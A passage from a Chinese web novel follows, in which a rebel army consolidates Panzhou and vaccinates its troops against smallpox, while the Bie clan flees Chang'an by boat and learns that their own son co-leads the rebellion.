而玄甲军的养殖场他有幸见过一回,当时白鹤县养殖场初建,里面的鸡鸭鹅才孵出来没多久,但光看数量就已经比庄子产出要多多了。 若不是知道玄甲军隔三差五就要供应一顿好肉,这么多鸡鸭怕是要砸在手里,毕竟不年不节,百姓多不会舍得花钱买肉。 “蔺管事说城里诸事都由大人你做主,拿不定主意的可再去信问他。”眼下蔺肃正和樊泊在军营忙活将士们种牛痘的事,若非如此,他们早就大军扫荡盘州其他县城,早早拿下整个盘州。 王襄叹口气,也不知道是怪玄甲军竟这样轻信于人,还是叹服玄甲军用人不疑。 他都不清楚玄甲军的主公到底是谁,但自从接触蔺肃樊泊后,就知道这位主公不是普通人。 尤其是樊泊,他也是长安土生土长大的,如何不知道长安口音,看樊泊统军的方式,多半是禁军出身。 起先他还怀疑是长安哪位皇子造反,但蔺肃这位代表主公露面的谋士又是土生土长的西南人,谈话间也透露过主公是西南人,叫王襄拿不准。 不过一个西南人竟然能够撬到长安禁军的墙角,也绝不是泛泛之辈,至少这些日子下来,王襄认为这支乱军能够走很远。 “白鹤凤来主要养鸡鸭鹅为主,但猪羊作为主菜更受欢迎,羊盘州历来有养的,新的养殖场主要还是养猪为主。” “猪吃熟食味道更好,玄甲军从前养猪都是要配一个豆腐坊,平日里的豆渣就送来喂猪。” 王襄沉默,他虽世家出身,但到西南之后也是从县令做起,自然见过百姓如何养猪,莫说是熟食,能吃上山野间的野菜都不错了。 这也多亏了西南人少山多,野菜漫山遍野,也不怕割没了,换到中原地带,许多野菜都是给人吃的,猪还吃不上。 结果玄甲军竟然给猪吃豆渣,要知道豆渣也是能饱腹的,换作没粮的人家,舍一些钱换豆渣度日也是常有。 “依你所言。” …… 军营。 因为种牛痘的缘故,这几日军中伙食开的不错,也是养殖场的鸡鸭鹅终于能出栏了,不然想给将士们吃点好的,还要从应州运过来。 “要是早知道能每日吃这样好,天天给我种牛痘我也乐意。”说话的兵丁摸着肚子打了个饱嗝,军中伙食饭和素菜是不限量供应,而肉菜每人一勺,或有运气好的,还能打第二勺剩菜,但也多是些汤汤水水,能浇在饭里,闻个肉味。 “你倒是想的美,咱们这几日都不知吃了多少只鸡鸭鹅了,说起来还真馋大肥肉的滋味。”虽然军营的伙食开的已经比大部分百姓都要好,但油水还是不能说充足,真吃饱了肉的人家,见着肥肉都是嫌弃的。 “猪长的慢,白鹤县也不是没有开养猪场,但等能吃到养猪场的肉,咱们都该打去应州了。”土鸡喂的好,三个月能出栏,听闻玄甲军的鸡苗出肉比土鸡要快些,两个月就差不多能吃肉了,不然他们这会也混不上肉吃。 “盘州瞧着大部分还没落到咱们玄甲军手里,其实盘州城占了,其他县城也不过是等着咱们走一趟的功夫。 应州就更不必说了,东家和别公子已经接管应州城了,咱们回应州不是打仗,是恭贺咱们得胜而归。” “你小子念了几个月书,说话都文绉绉得了,不过我听着也没错,咱们走的时候,东家和别公子还在清平县呢。 这会子别公子都当了应州刺史,应州可不是收入囊中了,等军队回应州,我也能回家看看。” “是啊,我瞧着家在盘州的弟兄回家,再回营里一个个喜笑颜开,也不晓得我回家,家里人会不会准备一桌子好菜招待。” 能进军营的,肯定没几个身家好的,先前应州没回家的将士,已经有一批寄了钱带了口信给家里人,叫家里人晓得他们还活着。 可说到底还是没见着家里人,这心里肯定空唠唠的,就像是这次回乡的将士,也不全是好消息,有的家里人丁不丰,再回去已经人去屋空了,只剩一堆青坟。 “那得看你身上带的银两多不多,我这些日子跟着义诊执勤,加上月例攒了不少钱,从前肯定是想着回去多买几亩地,以后退役了也能有个着落。 现在等打过去,地都是免费分的,这银两攒着,还是起个大房子合适。” 不说农户,就是县里的百姓,大部分房子也都是木头搭的,有的都有百岁高龄了,缝缝补补勉强能住。 “不错,清平县起的房子就很好,我想着以后家里也起那样的房子。” “那房子我私下打听过,要用泥沙砖瓦,木头用的少,红砖里还要掺竹筋,就是搭两层也结实的很,价格和青砖瓦房比起来,竟也大差不差。” “这个自然,红砖哪里有青砖结实,以前这红砖都是富贵人家修墓用的。”甚至世家的墓都不用红砖,是用长石。 “管他结不结实,能住不就是了,要我说,一套房能住个几十年也就不错了,咱们也在村里见过,有几家的房子能住上百年的。 能叫子孙后代有个遮风避雨的地头也不算咱们白活,至于其他的,就看他们本事了。” “这话不错,以前在大历,寻个好差事怕是难,能多留几亩地给子孙耕种,也算是一条出路,但玄甲军治下,娘子郎君都能寻到一份不错的差事,但凡好手好脚的绝计饿不死。” “肯定饿不死,玄甲军一来,粮价再没这么低的,要不是怕粮价跌太多,叫农户吃亏,肯定还能更便宜。 我在街上巡逻的时候,路过粮铺,过来买粮的人家都是一石一石的买,从前咱们哪里敢这么阔绰的买粮。” 一石粮食,能吃的壮汉敞开了吃都能吃两个来月,不是农户人家,基本不会这么囤粮。 而这还是细粮食,换作粗粮还能买更多,但只要不是急需钱的,能多吃细粮食肯定还是愿意吃细粮食。 没看义诊的时候大夫都说他们身体不好,什么药补都不如吃饱喝好来的实在。 “那咱们还是想想日后打去中原,用中原的好地种新稻种,只怕天底下再没有饿死的人。” “也不能这么说,总有懒汉,不说远了,就说白鹤县,从前这地就富庶,生活在这里的百姓,不说各个手里都能拿出些钱,但吃肉的日子肯定比西南其他地方多。 结果,咱们去村里查看情况,照样有衣衫褴褛吃不饱饭的,我瞧着人也是好手好脚,家里又不是没田,就是懒的伺候田地,这好好的良田都糟蹋了。” “天底下总有这样的人,咱们也不是救苦救难的菩萨,真在玄甲军治下饿死了也是他活该。” 饭堂正聊的火热,就见军队里的小队长过来:“过了观察期的将士到营地集合。” 闻言碗里还剩几口饭的将士一个个狼吞虎咽的刨完,就匆匆放下碗筷去了训练场,不出所料,正是要收复盘州城其余县城。 第129章 要说拿下整个盘州, 几乎和计划没什么两样,下面的县城也早知道盘州城已经被玄甲军占了,甚至可以说没跑的县令都早盼着玄甲军过来接手, 说不得还能继续留任。 玄甲军的步伐走过整个盘州, 也向西南宣告盘州彻底成了玄甲军的地盘。 按说玄甲军彻底占据盘州, 别此云该要考虑是继续安抚应州的官员, 还是直接揭露身份,将应州也名正言顺的归入玄甲军手里。 却被一封来自长安的信件打断计划,中原生疫了。 “信里说,北面烧城的时候,有不少百姓抗争, 大部分被射杀, 但还是逃出了几个漏网之鱼, 这些人逃往中原,很快一些就近的城池就起了大疫, 不出意外的确是天花。” 别此云和尚柒讨论过无数次有关这次广运帝打突厥会出现的后果,最严重不过是突厥南下入长安, 但没成想突厥没来, 来的竟然是大疫。 天花席卷一次, 基本上就是十室九空。 “眼下咱们没有那么多疫苗去长安救人。”尚柒语气听不出喜恶, 但一个大夫肯定不乐见疫病横行, 尤其是他们快疫病一步,但又慢疫病流行一步。 “比起长安, 尽快在西南推广牛痘才是正事。”长安太远,牛痘数量先不提,一般百姓也不见得会信任他们,而中原生疫, 就必须做好疫病席卷全国的准备。 虽说大部分天花流行的时候,最多在一个大区,但中原要是控制不好,如北面一样有人逃去南边或来西南,后果将不堪设想。 更不说整个大历已经有不少年头没起过天花,只怕从前得过天花活下来的百姓也所剩无几。 “还是要送一些牛痘去长安,不说别的,咱们的人至少不会排斥种牛痘。”以及别家,此云虽然写信别家,但想要别家放弃百年在长安的经营,不会那么容易。 这次天花突发,别家应该会离开长安,就是不知道会不会到西南。 “嗯。” …… 长安。 自从中原城池出现天花后,长安消息灵通的已经人人自危,天花不是关上房门就能躲过去的疫病,这得看命。 而世家大族已经准备阖家离开长安南逃,甚至听闻宫中都有动静,广运帝年岁已高,当太子的时候也是见识过天花在大历流行的模样,只是那时候天花不在中原泛滥,眼瞧着天花一步一步逼近长安,广运帝也是怕死的。 “什么?太子监国。”张青浣听得朝中变化,惊呼出声,“陛下呢?当真病了。” 别家也收到中原城池发现天花的消息,已经准备先撤离一批小辈去之前近西南之地置办的田产。 别景季摇头,是病是逃,朝中官员心知肚明,别看广运帝这会儿想起太子了,看似监国,但和留在长安等死也没什么区别。 “那咱们是否要准备立刻彻底长安。”张青浣不怕死,但她有两个孩子,不说天花在外虎视眈眈,别家和太子的关系早因为太子胡乱行事被禁足后,就破裂了。 别家离了太子的船,太子气急败坏,明里暗里使了不少绊子,但广运帝对太子不上心,一切阴谋诡计都被悄无声息的化解。 但不代表太子不记仇,太子真要监国恐怕头一个要对付的就是别家。 “走肯定要走,但也不必怕太子,说是监国,但太子手中的人也不是傻子,想必也在想办法离开长安。” 权力再好,也要有命用才是,太子真要是留下,就有担着天花的风险,凭别景季对太子的了解,比起趁机夺权,太子肯定还是更贪生怕死。 “我听闻长安世家都往南去,咱们往西南走,很容易落入前有狼后有虎的险境,不若还是同其他世家一样往南去,再怎么样,大家伙在长安共事多年,也有个照应。” 想到她们不是去江南,张青浣心中难免害怕,实在是西南乱军至今没有消息传出来,说明西南局势已经不明朗。 “西南乱军不必担心,若没有十足的把握,娘不会这么安排。” 听闻别景季的话,张青浣先是皱了皱眉,但心底也认同夫君的话,娘一贯是将家族看的要紧,绝计不会轻易将阖家置于险境。 “娘娘家那边怎么说?” “外祖那边娘做不了主,私下里娘已经去劝过,但舅舅他们更愿意往西南去,不过几个小的愿意跟咱们走。” “怎么说?”父母健在,阖家又要搬迁区江南,怎么会将膝下子嗣送给嫁出去的妹妹养。 “不知道舅舅他们什么打算,许是想要分摊风险,万一江南全军覆没,表兄弟们跟咱们走,还能保住血脉。” “这么说外祖家也知道去江南不安全?” “天花真要是蔓延开,哪里都不安全,在北面还好,有军队封城,但还是逃出了病人,带着天花到了中原。” 中原想要围城,只有调动禁军,但显然陛下不是这么想的,太子监国,陛下多半也是南下了,而禁军历来是保护陛下的军队,只怕也是要跟陛下一块走。 “二堂弟怎么办?” 别景和在禁军做事,如果禁军真的要和陛下走,必然是不能跟他们往西南去。 “二叔他们已经在劝景和从禁军离职,你也晓得二叔他们多看重景和,景和虽有主见,但这等大事一贯是拗不过二叔他们。” 别看别景和不听话,先去江南从军,回来又在禁军做事,要他成亲也假装没听见,但这也是二叔他们放纵的结果,真要是强求,别景和不是对手。 张青浣点头,她其实还想问家里嫁出去的娘子郎君该如何,但又意识到,多半是跟夫家走动,除非铁了心要和离,不然哪有跟娘家一块逃难的。 她自己不就是,娘家人必然是不会差遣人问她的意思。 一场天花,叫别家匆匆收拾包袱,别老爷子虽怀疑儿媳不在江南置办田产而去近西南之地,但眼下情况危机,事前大郎也是同意儿媳的意思,便没在这个节骨眼上多问。 只是百年世家在长安的底蕴是外人无法想象的,眼下一家都准备离开长安,什么时候能回来也未可知。 长安郊外的庄子田产他们是顾不得处理,眼下都是往外逃的,多半也处理不出去,但手里的珍宝肯定都是要带走的。 零零散散,收拾起来很是费劲,留在长安的冯风已经收到东家快马加鞭送到长安的牛痘,一同过来的还有大夫,几乎没有停留就给东家和别公子留在长安的人都种上了牛痘。 “别家已经在收拾细软,我打听过,别家当家的还以为他们去的是西南附近的州府,只怕别大少爷还没和家里人坦白,我瞧着他们应该能安全离开,余下的牛痘暂时不送过去。” “你怕打草惊蛇。” “不错,眼下别家既然已经决定往西南去,咱们突然冒出来,指不定会动摇别家的选择,别家真要是拖拖拉拉,咱们再行动不迟。” 冯风相信,世家都是怕死的,绝计不会等到天花传到长安都还没来得及离开。 “太子那边好像也在计划悄悄离开长安,晋王和齐王却一直没动静。”梅娘子指出几位皇子的怪异行为。 “萧家都悄悄离开长安了,齐王不可能还在长安,齐王府没有动静,只怕是障眼法。至于晋王,我想不出他会如何选择。” 朝中文武大臣都准备离开,留在长安也不过是管着一具空壳,晋王要是聪明肯定也不会选择留下。 只是从这次事件看,大历魏氏血缘当真淡薄,当爹的率先一步抛下儿子离开,而当儿子的也各逃各的。 “如此,这次南下多半不会太平,说不定再收到他们消息,大历已经换了一位皇帝。”广运帝逃难也要带上禁军,就是怕几个不孝子在途中弄死他。 “早晚要换,甚至大历这个国号也要换,不过是提前罢了。” —————————— 盘州。 知道中原生疫后,礼县那边被催促加班加点弄出更多疫苗,头一个要种的肯定是盘州百姓。 说来因为尚柒和别此云的先见之明,盘州私下里也或多或少听过牛痘的消息,只是大部分人持怀疑态度,真要喊他们,不一定乐意。 但这回,官衙门贴出告示,说明中原生疫的消息,盘州百姓符合接种条件的都要种牛痘后,立刻引起轩然大波。 一是天花竟然卷土重来,二是玄甲军态度竟如此强硬。 不过因为大夫还没解释种牛痘可能会引发什么病症,大部分抵触心理不强,而尚柒和别此云已经决定,是时候揭露玄甲军背后之人。 第130章 世家大族在逃难方面一向敏锐, 等长安百姓反应过来城里的贵人都不见的时候,天花已经不可避免的传入长安,原本繁华的国都一夜之间衰败了不少。 别家离京走的水路, 他们携带了大量的行礼和人口, 陆路虽然也能走, 但想来是跑不过天花的。 别景季站在船头, 这艘船最终的目的地是西南盘州,眼下做主的人里只有娘和他知道。 “当初此云离开长安也走的水路,想来咱们一家人倒也看的是同一片景色。” “两岸四时风光各不相同,同一个地方景色怕也不一样。”他们离开长安已经遇秋,此云走的时候正开春。 “也许等回来的时候景色时节都能对上。”距离开春还有几月, 那时长安应该稳定下来了。 “别家不见得有机会回长安。”朝中文武大臣能跑的都跑了, 太子监国成了空谈, 想来广运帝多半会在江南之地重建朝廷,别家放弃江南转投西南, 想必在广运帝眼里已经成了叛国之人。 别景季叹了口气:“我以为你在军中不会想那么多弯弯绕绕,祖父乃至父亲都没发现的事情, 你是怎么知道的。” “军中的弯弯绕绕不比你们文臣少, 而我是怎么发现的?不过当局者迷旁观者清。”别景和虽是别家人, 但不沾文臣诸事, 专心自己在禁军中的职位, 可以说完全和别家走了不一样的路子。 当父亲和阿耶逼他跟别家一起离开长安去西南的时候他就觉得不对,虽广运帝对外宣称病了, 但私下去西南的消息费力打听,也是能打听到的。 皇帝在江南,别家却要背道而驰,往有乱军的西南靠, 又念及别家跳了太子的船,无论太子还是皇帝都不可能在重用别家,甚至太子还和别家结怨,往西南去很难不猜测是有了新的靠山,才离开广运帝。 而西南的靠山,据别景和所知,只有刚刚冒头的一支乱军。 “话也不是这么说,船上明确知道终点的只有我和我娘,父亲一早被娘说服。 至于祖父,我怀疑他心有猜测,但任其发展。” “所以祖父也有意投靠乱军?” “怎么,入禁军后,你便心向大历魏氏了?”别景季的话在外人听来大逆不道,可历朝历代,皇帝虽掌握生杀大权,但大臣也不是任听任骂。 王朝覆灭之际,也有忠心为国之士,可世家一贯是谁有本事支持谁,说是墙头草,但他们这些墙头草往哪边倒,那边就能获胜是自古不变的道理。 若是没有闹天花这一档子事,别家不见得会有投靠新主的打算,但天花波及长安,广运帝难逃,等大历魏氏重整旗鼓再回长安,是否还是中原的霸主,就说不准了。 “我不喜儒家,自然也不见得有多忠君爱国,但别家这么轻率的投靠西南的乱军,就一定是好事吗? 还是说,这支乱军里,已经有咱们别家的人在。” 别景季转头看向堂弟,从前倒是小觑了人。 “看来是了,此云投靠了乱军?尚柒也在为乱军做事,如此才能拉拢别家。” “猜对了一半,为何就一定是别家人投靠了乱军,而不是其他情况?”别景季没有明说,但这句话已经表明乱军背后是谁做主。 果然,别景和闻言先是皱眉,随后目光中流露不敢置信的震惊。 “难怪西南出乱军的消息传回长安,却没人知道乱军背后到底是谁在主使,他们胆子也太大了。 你早知道他们离开长安准备做什么?” 别景季难得被噎住,要是当初他知道此云去西南打的什么主意,说不定就要不顾一切将人拦下了。 于是没好气的回别景和:“当时我们还在太子那条船上,就算我想下别的注,也该是我去冒险,怎么会让此云以身涉险。” “那就是尚柒撺掇此云行事?” “别景和,你是不是太小看你弟弟了,此云从来不似长安其他姑娘哥儿,你知道他在长安瞒着别家经营了多大一番事业吗?” 尚柒撺掇此云?别景季看是此云撺掇尚柒差不多,不过他现在怀疑当初他和撮合尚柒此云就是两人设的陷阱,而他什么都没察觉义无反顾的跳下去不说,还好人做到底,给人送出了长安。 “此云想当皇帝?”别景和眼睛再一次瞪大,不怪人一惊一乍,实在是这个说法惊世骇俗,他堂兄说要当皇帝他都不见得能稳得住,结果弟弟转头起兵造反,成了别家最有野心的人。 “眼下玄甲军由此云和尚柒共同管理,我看过玄甲军在西南行事,他们是不是要当皇帝我不清楚,但就凭他们在西南做的事,只怕要和天下世家对立。” 别的不说,强买土地就是撅世家的根,乱世王朝,各路英雄好汉投奔主公,为的是什么,为的是封侯拜相,位极人臣。 而封侯拜相能得到什么,自然是荣华富贵,荫蔽子孙后代,而要想达成荣华富贵,首要的就是手中有田,不然光靠皇帝赏赐那点东西度日,再富贵的人家也经不起几霍霍。 “……”别景和一时间接收的消息有点多,先是得知别家要投靠乱军谋反,再是知道乱军是自己人的,且还是有此云和他夫婿一块掌控,最后再投一块巨石,告诉他此云做的事会损害天下世家利益。 这岂止是一石激起千层浪,这已经是惊涛骇浪了,他身为儿郎,都不见得能做到这些,此云当真是瞒的他们好苦。 “别想太多,眼下别家的生路只有西南,不管此云究竟打算做什么,已经不是你我能够阻挡的。”别景季已经想开了,此云和尚柒不光手里有兵,还已经打下地盘,虽扯了别家的虎旗,但实则别家这边根本没帮上什么。 不管祖父父亲和几个叔叔到了西南见到此云,会有什么想法,都不会动摇此云什么,一个哥儿能起兵造反,难道还会顾虑什么世俗规矩,乖乖听祖父父亲的话不成。 别景和想了想也是,他原还担心祖父和大伯过去发现此云所为,会以孝道相压,要这支乱军彻底改名换姓叫别家。 可一个哥儿能够不远千里的过来西南养兵造反,的确不会在乎这些世俗规矩,再说乱军的控制权不是还有一半在尚柒那里。 祖父大伯还能以孝道压此云,难道还能以孝道压尚柒吗?真如此长安的外戚都要爬到皇帝头上作威作福了。 “我倒想看看,抵达西南那日,见到此云,祖父和父亲会如何行事。” “这热闹可不好凑,我知你心中对二叔他们逼迫你选择别家不满,但西南未必不是你的另一条出路,好好做准备吧,乱世要来了。” —————————— 玄甲军主公即将抵达盘州的消息不胫而走,不说传到每个贩夫走卒的耳朵里,至少在盘州稍微有点威望的都知道这个消息。 要说不激动是不可能的,因为大部分有权有势的人家想要攀附玄甲军,却连玄甲军主公是谁都不知道,做不到投其所好如何能够叫玄甲军另眼相看。 且暂时在盘州统领玄甲军的蔺管事又是个油盐不进的人,无论送什么都落不着好脸,甚至不少人送的礼都是肉包子打狗,这会子听闻玄甲军的主公终于要露面,许多人纷纷摩拳擦掌,想要讨个好印象。 请帖源源不断的送去刺史府不说,连带着之前盘州最热门的天花话题都被压到热二。 就在纵然翘首楚盼之际,尚柒和别此云倒是稳得住,礼县那边加班加点送去盘州的疫苗,也不够盘州整个州府种的,但已经小规模在民间推行。 其中最没有阻力的肯定是最先占据的白鹤县,也不是说白鹤县的百姓就是官府说什么就是什么,还是玄甲军给白鹤县的百姓带来了切实的好处,叫百姓也信玄甲军不会轻易害人,才会有如此多的人愿意种牛痘。 “应州这会怕是乱了。”别此云嘴角上勾,他和尚柒走的悄无声息,原本应州的顶梁柱没了,只怕应州的官员也会想着要跑路了。 “不至于大乱,咱们不少人手还留在应州城内。”要是有人想借机占据应州城,正好给尚柒送一些试药、挖矿的人手的。 西南两州被占,官府的,私人的矿脉被发现了不少,这类资源必然是要占为己有的,但矿多了也不少好事,玄甲军眼下抽调不出这么多人手管辖,就算从民间招工,只怕也很难招到愿意长期做这些活的百姓。 “可惜没能看到他们惊慌失措的样子。” “你怎么这么促狭。” “难道你不想看?”别此云不信尚柒当真这么正经。 尚柒微微耸肩,承认道:“自然也是想的。” 别此云露出略带得意的笑容,二人沉默了片刻,还是提起了别家。 “长安那边传来消息,别急已经再往西南过来的路上,不日就能在西南看到他们。” “说不定就在咱们滞留盘州这段时日就能遇上。”算算时间,其实是可能的,毕竟走水路比陆路要快,别家因为天花的缘故,肯定也不会在途中多停留。 “我正是担心,兄长信里说,家里人都是被骗到西南的。”《 》 130-140 第131章 别家的船靠近盘州时, 别此云和尚柒已经正经在盘州城露过面,起先大部分人见到玄甲军背后久未路面的主公竟然只是西南一位籍籍无名的商人,都不敢相信。 甚至认为这是玄甲军主公又推出来当挡箭牌的, 大部分人心想着玄甲军的主公还真是捉摸不透, 说他怕死吧, 偏干了掉脑袋的勾当, 可说他胆大,又一直在做缩头乌龟,不肯叫外面的人知晓他的身份。 也不怕蔺肃樊泊打下西南,自个儿做主公。 过了些时日,盘州城里的势力才发现, 主公还真就是尚柒, 不过不止尚柒一人, 他夫郞别此云竟然也能做玄甲军的住。 哪有叫家里夫郞爬到头顶上的造反头子? 于是承认尚柒身份的同时,大部分心里又不免带着轻蔑, 原先还想押宝玄甲军的人也都迟迟下定不了决心。 历来造反的都是英雄豪杰,还真出过夫夫俩一块做主的, 就算有人娶的是诸葛, 也都是在背后使力, 没见推倒台前的。 “盘州内的流言蜚语自咱们露面后就一直没消停, 可见这些人到底还是欠几分见识。”别此云不在意身外名, 做生意的不被人背后骂几句,都是默默无名之辈。 “不要对他们的要求太高, 或许他们为了利益能够做出一些牺牲,但有些事情超出他们的见识,只怕没那么容易纠正。” 盘州城的势力,可以为了讨好玄甲军叫自家的姑娘哥儿出门做事, 毕竟不给玄甲军做事,也会是送给别人的菟丝花,用途不同,效果一样。 可要他们头顶正经压一个哥儿做指挥,那又不一样。 别此云摇头:“应州城的官员能为了苟活让我坐上代理刺史的位置,可见大历男子的底线也不是不灵活,只是玄甲军入盘州城后,虽清理了一些宰渣,但做事一向按律守法,叫他们以为咱们好欺负。” 这世道一向就是这样,不是东风压倒西风,就是西风压倒东风,玄甲军清算都只清算近些年的事,真往上数了,整个大历但凡有钱的没一个能跑的了。 资本的原始积累就是血腥。 “说来玄甲军打下盘州,真正算动兵的还是对付王刺史的时候,而那次的战场又选在荒郊野外,盘州的百姓没见着玄甲军的英姿,或许咱们可以选几支队伍下山训练。” 最震慑人心的,莫不过是武力,盘州城当初跑的跑逃的逃,玄甲军过来几乎没什么阻力就入城了,之后大军都驻扎在离盘州城不近的郊外。 若非是蔺肃时时安排人在城内巡逻,盘州城的百姓还真可能连玄甲军的影子都没怎么见过。 “不必麻烦,只管开个宴,宴上表现的喜怒无常些,再给这些人施展一些心理压力,知道咱们不是软柿子,保管他们服服帖帖。” 别此云有的是手段对付他们,也是他们这支军队打算造仁义之师的名头,不然真弄出个暴君之名,怕是城中势力早就夹起尾巴做人了。 “那就这么办,还有一个,礼县那边陆陆续续送了不少疫苗过来,不见得能囊括整个盘州。”陆路从长安逃过来,也要个把月功夫,水路就不一样了,真要是中原地带有人走水路过来,盘州头一个遭殃。 “有多少先种多少,尤其是靠近水路的县城这条线,暂时没有听闻百姓对种牛痘有多大的排斥,可能也是被中原又起天花的消息吓到了。” 只要说天花来袭,不管牛痘是否有用,怕死的人都会争先恐后的来种,之前还说要身先士卒给百姓做表率的手段都用不上,当然能够借此博民心的手段不用白不用。 牛痘他和尚柒是要种的,只是先前牛痘先顾及军中,而他们又想在百姓面前种,所以才没有接种。 “就是不知中原眼下情况怎么样了。”因为天花的事,他们和长安的联系都不那么稳定。 “等我家里人过来,大抵就能知道长安一些情况。”别此云已经在盘州城寻了住处,可以安顿好阖家过来的别家人,目前他也不知被骗来西南造反的别家过来会有什么打算,但来都来了,肯定不能说将宝玉束之高阁。 “对了,除开别家,其实还有人要来西南。”尚柒突然放出重磅消息。 “?”别此云不知道这个消息,心底盘算了一番,“是谢琅?” 他们俩认识交好的长安权贵,除开别家人,就只剩一个谢琅,其他权贵或多或少也有接触,但都是泛泛之交,例如当初在长安的邻居——苏家,自离开长安后就没有联系过。 连带着尚乌桕都没空给自己在长安的小伙伴写信,实在是太忙了,比起和同龄孩子玩耍,尚乌桕已经正儿八经开始做事了。 而南枝大抵和长安那边谢家掌柜有过书信来往,到底长安的羊毛织坊还有尚柒和别此云的股份,每年的分红谢琅也不曾小气,不顾银子大部分都留在长安,没运到西南来罢了。 “不错。” “你如何将人骗过来了。”淮阳离长安不远,更是中原腹地,天花来袭,不说首当其冲,肯定也逃不过。 谢家要往南逃是可以预测的,只是谢琅是主脉,未分家更是得家中人看重,谢家肯定不会逃难到西南,又如何能叫谢琅孤身往西南去? “非是骗,而是请他来西南叙旧。” 这个节骨眼叙旧能把人请过来?别此云满目怀疑,奈何尚柒不肯交底,多半是掺杂了什么骗术。 而谢琅也是,竟然真被尚柒骗过来了,虽有些不厚道,但别此云不会按捺自己上扬的嘴角。 …… 别家的船过西南和中原的交界时,船上的人已经隐隐约约察觉不对劲了,不过这年头少有出行的,更不说有人来过西南,不问船夫多半连到哪儿都不知道。 只是去西南比原先计划的地方到底要远,超出了之前规定的时间,总会有细心的人察觉不对。 可往船外望去是一望无际的江河和连绵起伏的大山,也看不出个所以然。 别洵松显然是有阅历的,年轻时也外派做过差,虽没到过西南,但天下的舆图或多或少还是知道一些,明摆着他们这是往西南去。 上一次补给过后,船就没停过,看样子是打算一口气到西南再说。 多年夫妻,他自然是相信夫人不会叫整个别家去送死,哪怕当初临阵换地,他也同意了,可这船已经不是临阵换地,而是直奔乱军去了。 难不成这支乱军和夫人有牵连,可要是有牵连为何夫人娘家不一块来西南,反倒是别家阖家过来。 “想了这么久还没想出为什么,可见你在长安受公爹庇佑太久,都失去了敏锐。”苏怡然淡定的喝茶,已经在西南境内了,开弓没有回头箭,眼下别家不去也得去,她自然不必要在死死瞒着。 “父亲知道咱们去西南?” “公爹肯定有所猜测,哪像你都要到西南了才反应过来。”别景和那小子都比别洵松敏锐,可见小辈是越发出色。 倒是老四两口子没什么反应。 “既然已经到西南境内,夫人可以给我交底了吧。”别洵松自然是不想蒙在鼓里。 苏怡然只顺手从袖袋里抽出一叠信件,推倒别洵松跟前,光靠嘴说,这事可没那么容易说清楚。 别洵松看信的速度不慢,一般念书也都是一目十行,可不过几张信纸,硬是叫他反反复复看了十几遍,才不敢置信的松开手。 他家哥儿造反了! “这、这……”别洵松好半晌都说不出话,因为他们家实在没想过造反,真离经叛道,也只想过投靠别的起兵势力,大历魏氏肯定是没有盼头了。 结果家里平日里不声不响的哥儿,竟敢了阖家都没想过的事。 “怎么?子孙后代比你有本事有气魄,便接受不了?” “夫人哪里的话,只是此云从前未曾表露过这些念头,突然告诉我他在西南和他夫婿一块招兵买马占据盘州和应州,我哪里反应的过来。” 别洵松说的理直气壮,这事就是送到父亲案头,父亲定然也会吃惊,就是别景季和别景和造反,都没有此云造反来的震惊。 “眼下造反已经是事实,别家跳了太子的船,大历魏氏肯定没盼头,不若盼盼自家孩子。” 苏怡然的话点醒了别洵松,叫他起身开始在船舱内踱步。 按照信件所言,此云和尚柒未曾有别家什么实质支持就在西南闯出了一番事业,眼下长安又出了天花这档子事,可算是天时地利人和。 不说别的,西南这地方不好进出,打中原肯定会困难些,但中原打过来也困难,至少退路有保障。 “对了,玄甲军虽然咱们哥儿也有指挥权,但你和你的那些兄弟别想着以孝道压人,篡权夺位,其中还有儿婿的一份。”苏怡然知道夫君不是这样的人,但夫君的两个兄弟知情后会不会打什么主意就不一定了。 都说钱财迷人眼,可这权势也迷眼的很,从前别家老实,只想挣个从龙之功也就罢了,现在别家有机会染指皇权,苏怡然可不敢保证别家其他人不会生心思。 大户人家为了点钱财闹的兄弟阋墙,是在正常不过的。 第132章 别家的船进入西南境内后, 玄甲军就已经掌握了别家的动向,别的不说,没哪只做生意的船队比别家的架势还大, 单是船只数量就知道来头不小。 船最后肯定是要在盘州城停下的, 不过别家抵达盘州城那日, 尚柒和别此云并未在城里, 也是不巧,好在宋月隐和琴砚早得了吩咐,若是别家到了,就去岸口接人。 城里安顿的宅子都准备好了,亏待不了别家。 入西南之地后, 别景季已经和夫人坦白, 可把张青浣吓的不轻, 但要说责怪夫君不交底就骗她来西南造反,又过于严重。 从她加入别家起, 便没有选择的余地,眼下别家要造反, 她就是怕人头落地难得还能和离不成? 不说她和离回去娘家怎么看, 单就是两个孩子她就舍不得, 这年头娘子郎君和离是带不走孩子的。 “你和娘瞒的我们好苦。”事已至此, 张青浣缓过劲道了一句, 不过一想到公爹他们也不晓得此云在西南干的大事,好似也没那么不平。 “造反之事牵连甚广, 长安又是透风之地,我没有此云那样的本事,可以将手下管的滴水不漏。” “此云何止能管自己手中的人,只怕当初府里也有许多人是他的手下。”张青浣这会是明白了, 此云在府里要是没安插人手,不可能悄无声息的在长安干出一番事业。 “现在想来,你我甚至娘都未察觉,可见此云早有心思。”造反的心思有多早说不准,但肯定不是规矩的人。 “难怪娘之前未此云挑选亲事,此云百般推托。”有这等大抱负的郎君岂会随意选长安那群纨绔子弟。 哪怕是她夫君这样的良人,也入不得此云的眼,因为造反这事,别家不到逼不得已是不可能干的。 行船靠岸,别泓带着夫人先一步下船,老夫人在船上未曾遭罪,下船后目光落在岸口接待的女子身上,一旁的哥儿她认得,是孙儿身边伺候的侍人。 “别老大人,别老夫人,一路舟车劳顿,想是辛苦了,别公子早早备好了宅院等着诸位到来。” “此云为何不见?” “别公子和东家眼下有要事不在城内,到底盘州城咱们打下来没多久,东家和别公子总是有忙不完的正事,想来等别老大人休息好了,便能和别公子会面。”宋月隐这话不轻不重,但颇有一个下马威的意思。 别泓也不是傻子,对方这是点他,要他弄清楚现在身份地位不一样,至少摆祖父的架子让孙儿任听任动是不成的。 这话也不光是说给他听,也是说给身后其余别家的人听。 “请姑娘引路。”别泓不是胡搅蛮缠之人,诸多事还是等见过此云再说。 “我姓宋,是东家手里的管事,别老大人称为宋管事即可。”这会子东家和别公子还没弄封官之事,能在东家和别公子身边做事的,都称管事,“别老大人,车马在这边,请。” 别家不说跟来的奴婢,就是当家作主的主子都难得乖觉,从行船转到马车,并没花多少功夫,可见前来接待的人考虑周到。 而盘州城的岸口距离城内不远,马车不过半个时辰的路程,从前岸口是和中原通商的要地,眼下虽和中原断了联系,但日后肯定会恢复。 所以修官道之际,盘州城的岸口也是重新修缮了的,岸口比从前扩大了不止一倍,可见玄甲军对日后西南和中原来往很有信心。 